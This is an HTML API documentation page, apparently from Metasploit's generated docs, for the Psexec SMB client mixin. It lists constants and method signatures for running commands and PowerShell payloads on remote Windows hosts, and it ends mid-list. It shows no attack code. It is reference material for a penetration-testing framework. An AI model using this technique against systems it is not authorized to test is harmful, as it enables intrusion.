Files
metasploit-gs/api/Msf/Exploit/Remote/SMB/Client/Psexec.html
T
jenkins-metasploit c3f5bd3de2 Reboot gh-pages
2026-05-08 17:08:43 +00:00

1815 lines
144 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>
Module: Msf::Exploit::Remote::SMB::Client::Psexec
&mdash; Documentation by YARD 0.9.37
</title>
<link rel="stylesheet" href="../../../../../css/style.css" type="text/css" />
<link rel="stylesheet" href="../../../../../css/common.css" type="text/css" />
<script type="text/javascript">
pathId = "Msf::Exploit::Remote::SMB::Client::Psexec";
relpath = '../../../../../';
</script>
<script type="text/javascript" charset="utf-8" src="../../../../../js/jquery.js"></script>
<script type="text/javascript" charset="utf-8" src="../../../../../js/app.js"></script>
</head>
<body>
<div class="nav_wrap">
<iframe id="nav" src="../../../../../class_list.html?1"></iframe>
<div id="resizer"></div>
</div>
<div id="main" tabindex="-1">
<div id="header">
<div id="menu">
<a href="../../../../../_index.html">Index (P)</a> &raquo;
<span class='title'><span class='object_link'><a href="../../../../../Msf.html" title="Msf (module)">Msf</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../../Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../../SMB.html" title="Msf::Exploit::Remote::SMB (module)">SMB</a></span></span> &raquo; <span class='title'><span class='object_link'><a href="../Client.html" title="Msf::Exploit::Remote::SMB::Client (module)">Client</a></span></span>
&raquo;
<span class="title">Psexec</span>
</div>
<div id="search">
<a class="full_list_link" id="class_list_link"
href="../../../../../class_list.html">
<svg width="24" height="24">
<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
<rect x="0" y="20" width="24" height="4" rx="1" ry="1"></rect>
</svg>
</a>
</div>
<div class="clear"></div>
</div>
<div id="content"><h1>Module: Msf::Exploit::Remote::SMB::Client::Psexec
</h1>
<div class="box_info">
<dl>
<dt>Includes:</dt>
<dd>Failure, <span class='object_link'><a href="../../DCERPC.html" title="Msf::Exploit::Remote::DCERPC (module)">DCERPC</a></span>, <span class='object_link'><a href="Authenticated.html" title="Msf::Exploit::Remote::SMB::Client::Authenticated (module)">Authenticated</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html" title="Msf::Exploit::Windows_Constants (module)">Windows_Constants</a></span></dd>
</dl>
<dl>
<dt>Included in:</dt>
<dd><span class='object_link'><a href="Psexec_MS17_010.html" title="Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010 (module)">Psexec_MS17_010</a></span></dd>
</dl>
<dl>
<dt>Defined in:</dt>
<dd>lib/msf/core/exploit/remote/smb/client/psexec.rb</dd>
</dl>
</div>
<h2>Overview</h2><div class="docstring">
<div class="discussion">
<p>Allows for reuse of the psexec code execution technique</p>
<p>This code was stolen straight out of the psexec module. Thanks very much for all who contributed to that module!! Instead of uploading and running a binary.</p>
</div>
</div>
<div class="tags">
</div>
<h2>Constant Summary</h2>
<h3 class="inherited">Constants included
from <span class='object_link'><a href="../Client.html" title="Msf::Exploit::Remote::SMB::Client (module)">Msf::Exploit::Remote::SMB::Client</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../Client.html#CONST-constant" title="Msf::Exploit::Remote::SMB::Client::CONST (constant)">CONST</a></span>, <span class='object_link'><a href="../Client.html#DCERPCClient-constant" title="Msf::Exploit::Remote::SMB::Client::DCERPCClient (constant)">DCERPCClient</a></span>, <span class='object_link'><a href="../Client.html#DCERPCPacket-constant" title="Msf::Exploit::Remote::SMB::Client::DCERPCPacket (constant)">DCERPCPacket</a></span>, <span class='object_link'><a href="../Client.html#DCERPCResponse-constant" title="Msf::Exploit::Remote::SMB::Client::DCERPCResponse (constant)">DCERPCResponse</a></span>, <span class='object_link'><a href="../Client.html#DCERPCUUID-constant" title="Msf::Exploit::Remote::SMB::Client::DCERPCUUID (constant)">DCERPCUUID</a></span>, <span class='object_link'><a href="../Client.html#NDR-constant" title="Msf::Exploit::Remote::SMB::Client::NDR (constant)">NDR</a></span>, <span class='object_link'><a href="../Client.html#SIMPLE-constant" title="Msf::Exploit::Remote::SMB::Client::SIMPLE (constant)">SIMPLE</a></span>, <span class='object_link'><a href="../Client.html#XCEPT-constant" title="Msf::Exploit::Remote::SMB::Client::XCEPT (constant)">XCEPT</a></span></p>
<h3 class="inherited">Constants included
from <span class='object_link'><a href="../../DCERPC.html" title="Msf::Exploit::Remote::DCERPC (module)">DCERPC</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../DCERPC.html#DCERPCClient-constant" title="Msf::Exploit::Remote::DCERPC::DCERPCClient (constant)">DCERPC::DCERPCClient</a></span>, <span class='object_link'><a href="../../DCERPC.html#DCERPCPacket-constant" title="Msf::Exploit::Remote::DCERPC::DCERPCPacket (constant)">DCERPC::DCERPCPacket</a></span>, <span class='object_link'><a href="../../DCERPC.html#DCERPCResponse-constant" title="Msf::Exploit::Remote::DCERPC::DCERPCResponse (constant)">DCERPC::DCERPCResponse</a></span>, <span class='object_link'><a href="../../DCERPC.html#DCERPCUUID-constant" title="Msf::Exploit::Remote::DCERPC::DCERPCUUID (constant)">DCERPC::DCERPCUUID</a></span>, <span class='object_link'><a href="../../DCERPC.html#NDR-constant" title="Msf::Exploit::Remote::DCERPC::NDR (constant)">DCERPC::NDR</a></span></p>
<h3 class="inherited">Constants included
from <span class='object_link'><a href="../../DCERPC_LSA.html" title="Msf::Exploit::Remote::DCERPC_LSA (module)">DCERPC_LSA</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../DCERPC_LSA.html#NDR-constant" title="Msf::Exploit::Remote::DCERPC_LSA::NDR (constant)">DCERPC_LSA::NDR</a></span></p>
<h3 class="inherited">Constants included
from <span class='object_link'><a href="../../DCERPC_MGMT.html" title="Msf::Exploit::Remote::DCERPC_MGMT (module)">DCERPC_MGMT</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../DCERPC_MGMT.html#NDR-constant" title="Msf::Exploit::Remote::DCERPC_MGMT::NDR (constant)">DCERPC_MGMT::NDR</a></span></p>
<h3 class="inherited">Constants included
from <span class='object_link'><a href="../../../Windows_Constants.html" title="Msf::Exploit::Windows_Constants (module)">Windows_Constants</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../../Windows_Constants.html#CHANGE_SERVICE_CONFIG2_W-constant" title="Msf::Exploit::Windows_Constants::CHANGE_SERVICE_CONFIG2_W (constant)">Windows_Constants::CHANGE_SERVICE_CONFIG2_W</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#CHANGE_SERVICE_CONFIG_W-constant" title="Msf::Exploit::Windows_Constants::CHANGE_SERVICE_CONFIG_W (constant)">Windows_Constants::CHANGE_SERVICE_CONFIG_W</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#CLOSE_SERVICE_HANDLE-constant" title="Msf::Exploit::Windows_Constants::CLOSE_SERVICE_HANDLE (constant)">Windows_Constants::CLOSE_SERVICE_HANDLE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#CONTROL_SERVICE-constant" title="Msf::Exploit::Windows_Constants::CONTROL_SERVICE (constant)">Windows_Constants::CONTROL_SERVICE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#CREATE_SERVICE_W-constant" title="Msf::Exploit::Windows_Constants::CREATE_SERVICE_W (constant)">Windows_Constants::CREATE_SERVICE_W</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#DELETE_SERVICE-constant" title="Msf::Exploit::Windows_Constants::DELETE_SERVICE (constant)">Windows_Constants::DELETE_SERVICE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#OPEN_SC_MANAGER_W-constant" title="Msf::Exploit::Windows_Constants::OPEN_SC_MANAGER_W (constant)">Windows_Constants::OPEN_SC_MANAGER_W</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#OPEN_SERVICE_W-constant" title="Msf::Exploit::Windows_Constants::OPEN_SERVICE_W (constant)">Windows_Constants::OPEN_SERVICE_W</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#QUERY_SERVICE_STATUS-constant" title="Msf::Exploit::Windows_Constants::QUERY_SERVICE_STATUS (constant)">Windows_Constants::QUERY_SERVICE_STATUS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SC_MANAGER_ALL_ACCESS-constant" title="Msf::Exploit::Windows_Constants::SC_MANAGER_ALL_ACCESS (constant)">Windows_Constants::SC_MANAGER_ALL_ACCESS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SC_MANAGER_CONNECT-constant" title="Msf::Exploit::Windows_Constants::SC_MANAGER_CONNECT (constant)">Windows_Constants::SC_MANAGER_CONNECT</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SC_MANAGER_CREATE_SERVICE-constant" title="Msf::Exploit::Windows_Constants::SC_MANAGER_CREATE_SERVICE (constant)">Windows_Constants::SC_MANAGER_CREATE_SERVICE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SC_MANAGER_ENUMERATE_SERVICE-constant" title="Msf::Exploit::Windows_Constants::SC_MANAGER_ENUMERATE_SERVICE (constant)">Windows_Constants::SC_MANAGER_ENUMERATE_SERVICE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SC_MANAGER_LOCK-constant" title="Msf::Exploit::Windows_Constants::SC_MANAGER_LOCK (constant)">Windows_Constants::SC_MANAGER_LOCK</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SC_MANAGER_MODIFY_BOOT_CONFIG-constant" title="Msf::Exploit::Windows_Constants::SC_MANAGER_MODIFY_BOOT_CONFIG (constant)">Windows_Constants::SC_MANAGER_MODIFY_BOOT_CONFIG</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SC_MANAGER_QUERY_LOCK_STATUS-constant" title="Msf::Exploit::Windows_Constants::SC_MANAGER_QUERY_LOCK_STATUS (constant)">Windows_Constants::SC_MANAGER_QUERY_LOCK_STATUS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_HARDWAREPROFILECHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_HARDWAREPROFILECHANGE (constant)">Windows_Constants::SERVICE_ACCEPT_HARDWAREPROFILECHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_NETBINDCHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_NETBINDCHANGE (constant)">Windows_Constants::SERVICE_ACCEPT_NETBINDCHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_PARAMCHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_PARAMCHANGE (constant)">Windows_Constants::SERVICE_ACCEPT_PARAMCHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_PAUSE_CONTINUE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_PAUSE_CONTINUE (constant)">Windows_Constants::SERVICE_ACCEPT_PAUSE_CONTINUE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_POWEREVENT-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_POWEREVENT (constant)">Windows_Constants::SERVICE_ACCEPT_POWEREVENT</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_PRESHUTDOWN-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_PRESHUTDOWN (constant)">Windows_Constants::SERVICE_ACCEPT_PRESHUTDOWN</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_SESSIONCHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_SESSIONCHANGE (constant)">Windows_Constants::SERVICE_ACCEPT_SESSIONCHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_SHUTDOWN-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_SHUTDOWN (constant)">Windows_Constants::SERVICE_ACCEPT_SHUTDOWN</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_STOP-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_STOP (constant)">Windows_Constants::SERVICE_ACCEPT_STOP</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_TIMECHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_TIMECHANGE (constant)">Windows_Constants::SERVICE_ACCEPT_TIMECHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACCEPT_TRIGGEREVENT-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACCEPT_TRIGGEREVENT (constant)">Windows_Constants::SERVICE_ACCEPT_TRIGGEREVENT</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ACTIVE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ACTIVE (constant)">Windows_Constants::SERVICE_ACTIVE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ALL_ACCESS-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ALL_ACCESS (constant)">Windows_Constants::SERVICE_ALL_ACCESS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_AUTO_START-constant" title="Msf::Exploit::Windows_Constants::SERVICE_AUTO_START (constant)">Windows_Constants::SERVICE_AUTO_START</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_BOOT_START-constant" title="Msf::Exploit::Windows_Constants::SERVICE_BOOT_START (constant)">Windows_Constants::SERVICE_BOOT_START</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CHANGE_CONFIG-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CHANGE_CONFIG (constant)">Windows_Constants::SERVICE_CHANGE_CONFIG</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_DELAYED_AUTO_START_INFO-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_DELAYED_AUTO_START_INFO (constant)">Windows_Constants::SERVICE_CONFIG_DELAYED_AUTO_START_INFO</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_DESCRIPTION-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_DESCRIPTION (constant)">Windows_Constants::SERVICE_CONFIG_DESCRIPTION</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_FAILURE_ACTIONS-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_FAILURE_ACTIONS (constant)">Windows_Constants::SERVICE_CONFIG_FAILURE_ACTIONS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_FAILURE_ACTIONS_FLAG-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_FAILURE_ACTIONS_FLAG (constant)">Windows_Constants::SERVICE_CONFIG_FAILURE_ACTIONS_FLAG</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_LAUNCH_PROTECTED-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_LAUNCH_PROTECTED (constant)">Windows_Constants::SERVICE_CONFIG_LAUNCH_PROTECTED</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_PREFERRED_NODE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_PREFERRED_NODE (constant)">Windows_Constants::SERVICE_CONFIG_PREFERRED_NODE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_PRESHUTDOWN_INFO-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_PRESHUTDOWN_INFO (constant)">Windows_Constants::SERVICE_CONFIG_PRESHUTDOWN_INFO</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO (constant)">Windows_Constants::SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_SERVICE_SID_INFO-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_SERVICE_SID_INFO (constant)">Windows_Constants::SERVICE_CONFIG_SERVICE_SID_INFO</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONFIG_TRIGGER_INFO-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONFIG_TRIGGER_INFO (constant)">Windows_Constants::SERVICE_CONFIG_TRIGGER_INFO</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTINUE_PENDING-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTINUE_PENDING (constant)">Windows_Constants::SERVICE_CONTINUE_PENDING</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_CONTINUE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_CONTINUE (constant)">Windows_Constants::SERVICE_CONTROL_CONTINUE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_DEVICEEVENT-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_DEVICEEVENT (constant)">Windows_Constants::SERVICE_CONTROL_DEVICEEVENT</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_HARDWAREPROFILECHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_HARDWAREPROFILECHANGE (constant)">Windows_Constants::SERVICE_CONTROL_HARDWAREPROFILECHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_INTERROGATE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_INTERROGATE (constant)">Windows_Constants::SERVICE_CONTROL_INTERROGATE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_NETBINDADD-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_NETBINDADD (constant)">Windows_Constants::SERVICE_CONTROL_NETBINDADD</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_NETBINDDISABLE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_NETBINDDISABLE (constant)">Windows_Constants::SERVICE_CONTROL_NETBINDDISABLE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_NETBINDENABLE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_NETBINDENABLE (constant)">Windows_Constants::SERVICE_CONTROL_NETBINDENABLE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_NETBINDREMOVE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_NETBINDREMOVE (constant)">Windows_Constants::SERVICE_CONTROL_NETBINDREMOVE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_PARAMCHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_PARAMCHANGE (constant)">Windows_Constants::SERVICE_CONTROL_PARAMCHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_PAUSE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_PAUSE (constant)">Windows_Constants::SERVICE_CONTROL_PAUSE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_POWEREVENT-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_POWEREVENT (constant)">Windows_Constants::SERVICE_CONTROL_POWEREVENT</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_PRESHUTDOWN-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_PRESHUTDOWN (constant)">Windows_Constants::SERVICE_CONTROL_PRESHUTDOWN</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_SESSIONCHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_SESSIONCHANGE (constant)">Windows_Constants::SERVICE_CONTROL_SESSIONCHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_SHUTDOWN-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_SHUTDOWN (constant)">Windows_Constants::SERVICE_CONTROL_SHUTDOWN</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_STOP-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_STOP (constant)">Windows_Constants::SERVICE_CONTROL_STOP</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_TIMECHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_TIMECHANGE (constant)">Windows_Constants::SERVICE_CONTROL_TIMECHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_CONTROL_TRIGGEREVENT-constant" title="Msf::Exploit::Windows_Constants::SERVICE_CONTROL_TRIGGEREVENT (constant)">Windows_Constants::SERVICE_CONTROL_TRIGGEREVENT</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_DEMAND_START-constant" title="Msf::Exploit::Windows_Constants::SERVICE_DEMAND_START (constant)">Windows_Constants::SERVICE_DEMAND_START</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_DISABLED-constant" title="Msf::Exploit::Windows_Constants::SERVICE_DISABLED (constant)">Windows_Constants::SERVICE_DISABLED</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ENUMERATE_DEPENDENTS-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ENUMERATE_DEPENDENTS (constant)">Windows_Constants::SERVICE_ENUMERATE_DEPENDENTS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_ERROR_IGNORE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_ERROR_IGNORE (constant)">Windows_Constants::SERVICE_ERROR_IGNORE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_INACTIVE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_INACTIVE (constant)">Windows_Constants::SERVICE_INACTIVE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_INTERACTIVE_PROCESS-constant" title="Msf::Exploit::Windows_Constants::SERVICE_INTERACTIVE_PROCESS (constant)">Windows_Constants::SERVICE_INTERACTIVE_PROCESS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_INTERROGATE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_INTERROGATE (constant)">Windows_Constants::SERVICE_INTERROGATE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_NO_CHANGE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_NO_CHANGE (constant)">Windows_Constants::SERVICE_NO_CHANGE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_PAUSED-constant" title="Msf::Exploit::Windows_Constants::SERVICE_PAUSED (constant)">Windows_Constants::SERVICE_PAUSED</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_PAUSE_CONTINUE-constant" title="Msf::Exploit::Windows_Constants::SERVICE_PAUSE_CONTINUE (constant)">Windows_Constants::SERVICE_PAUSE_CONTINUE</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_PAUSE_PENDING-constant" title="Msf::Exploit::Windows_Constants::SERVICE_PAUSE_PENDING (constant)">Windows_Constants::SERVICE_PAUSE_PENDING</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_QUERY_CONFIG-constant" title="Msf::Exploit::Windows_Constants::SERVICE_QUERY_CONFIG (constant)">Windows_Constants::SERVICE_QUERY_CONFIG</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_QUERY_STATUS-constant" title="Msf::Exploit::Windows_Constants::SERVICE_QUERY_STATUS (constant)">Windows_Constants::SERVICE_QUERY_STATUS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_RUNNING-constant" title="Msf::Exploit::Windows_Constants::SERVICE_RUNNING (constant)">Windows_Constants::SERVICE_RUNNING</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_RUNS_IN_SYSTEM_PROCESS-constant" title="Msf::Exploit::Windows_Constants::SERVICE_RUNS_IN_SYSTEM_PROCESS (constant)">Windows_Constants::SERVICE_RUNS_IN_SYSTEM_PROCESS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_START-constant" title="Msf::Exploit::Windows_Constants::SERVICE_START (constant)">Windows_Constants::SERVICE_START</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_START_PENDING-constant" title="Msf::Exploit::Windows_Constants::SERVICE_START_PENDING (constant)">Windows_Constants::SERVICE_START_PENDING</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_STATE_ALL-constant" title="Msf::Exploit::Windows_Constants::SERVICE_STATE_ALL (constant)">Windows_Constants::SERVICE_STATE_ALL</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_STOP-constant" title="Msf::Exploit::Windows_Constants::SERVICE_STOP (constant)">Windows_Constants::SERVICE_STOP</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_STOPPED-constant" title="Msf::Exploit::Windows_Constants::SERVICE_STOPPED (constant)">Windows_Constants::SERVICE_STOPPED</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_STOP_PENDING-constant" title="Msf::Exploit::Windows_Constants::SERVICE_STOP_PENDING (constant)">Windows_Constants::SERVICE_STOP_PENDING</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_SYSTEM_START-constant" title="Msf::Exploit::Windows_Constants::SERVICE_SYSTEM_START (constant)">Windows_Constants::SERVICE_SYSTEM_START</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_USER_DEFINED_CONTROL-constant" title="Msf::Exploit::Windows_Constants::SERVICE_USER_DEFINED_CONTROL (constant)">Windows_Constants::SERVICE_USER_DEFINED_CONTROL</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#SERVICE_WIN32_OWN_PROCESS-constant" title="Msf::Exploit::Windows_Constants::SERVICE_WIN32_OWN_PROCESS (constant)">Windows_Constants::SERVICE_WIN32_OWN_PROCESS</a></span>, <span class='object_link'><a href="../../../Windows_Constants.html#STANDARD_RIGHTS_REQUIRED-constant" title="Msf::Exploit::Windows_Constants::STANDARD_RIGHTS_REQUIRED (constant)">Windows_Constants::STANDARD_RIGHTS_REQUIRED</a></span></p>
<h2>Instance Attribute Summary</h2>
<h3 class="inherited">Attributes included from <span class='object_link'><a href="../Client.html" title="Msf::Exploit::Remote::SMB::Client (module)">Msf::Exploit::Remote::SMB::Client</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../Client.html#simple-instance_method" title="Msf::Exploit::Remote::SMB::Client#simple (method)">#simple</a></span></p>
<h3 class="inherited">Attributes included from <span class='object_link'><a href="../../Tcp.html" title="Msf::Exploit::Remote::Tcp (module)">Tcp</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../Tcp.html#sock-instance_method" title="Msf::Exploit::Remote::Tcp#sock (method)">#sock</a></span></p>
<h3 class="inherited">Attributes included from <span class='object_link'><a href="../../DCERPC.html" title="Msf::Exploit::Remote::DCERPC (module)">DCERPC</a></span></h3>
<p class="inherited"><span class='object_link'><a href="../../DCERPC.html#dcerpc-instance_method" title="Msf::Exploit::Remote::DCERPC#dcerpc (method)">#dcerpc</a></span>, <span class='object_link'><a href="../../DCERPC.html#handle-instance_method" title="Msf::Exploit::Remote::DCERPC#handle (method)">#handle</a></span></p>
<h2>
Instance Method Summary
<small><a href="#" class="summary_toggle">collapse</a></small>
</h2>
<ul class="summary">
<li class="public ">
<span class="summary_signature">
<a href="#display_name-instance_method" title="#display_name (instance method)">#<strong>display_name</strong> &#x21d2; String </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Retrieve the SERVICE_DISPLAY_NAME option, generate a random one if not already set.</p>
</div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#execute_command-instance_method" title="#execute_command (instance method)">#<strong>execute_command</strong>(text, bat, cmd) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#execute_command_payload-instance_method" title="#execute_command_payload (instance method)">#<strong>execute_command_payload</strong>(smbshare) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#execute_command_with_output-instance_method" title="#execute_command_with_output (instance method)">#<strong>execute_command_with_output</strong>(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0) &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#execute_powershell_payload-instance_method" title="#execute_powershell_payload (instance method)">#<strong>execute_powershell_payload</strong> &#x21d2; Object </a>
</span>
<span class="summary_desc"><div class='inline'></div></span>
</li>
<li class="public ">
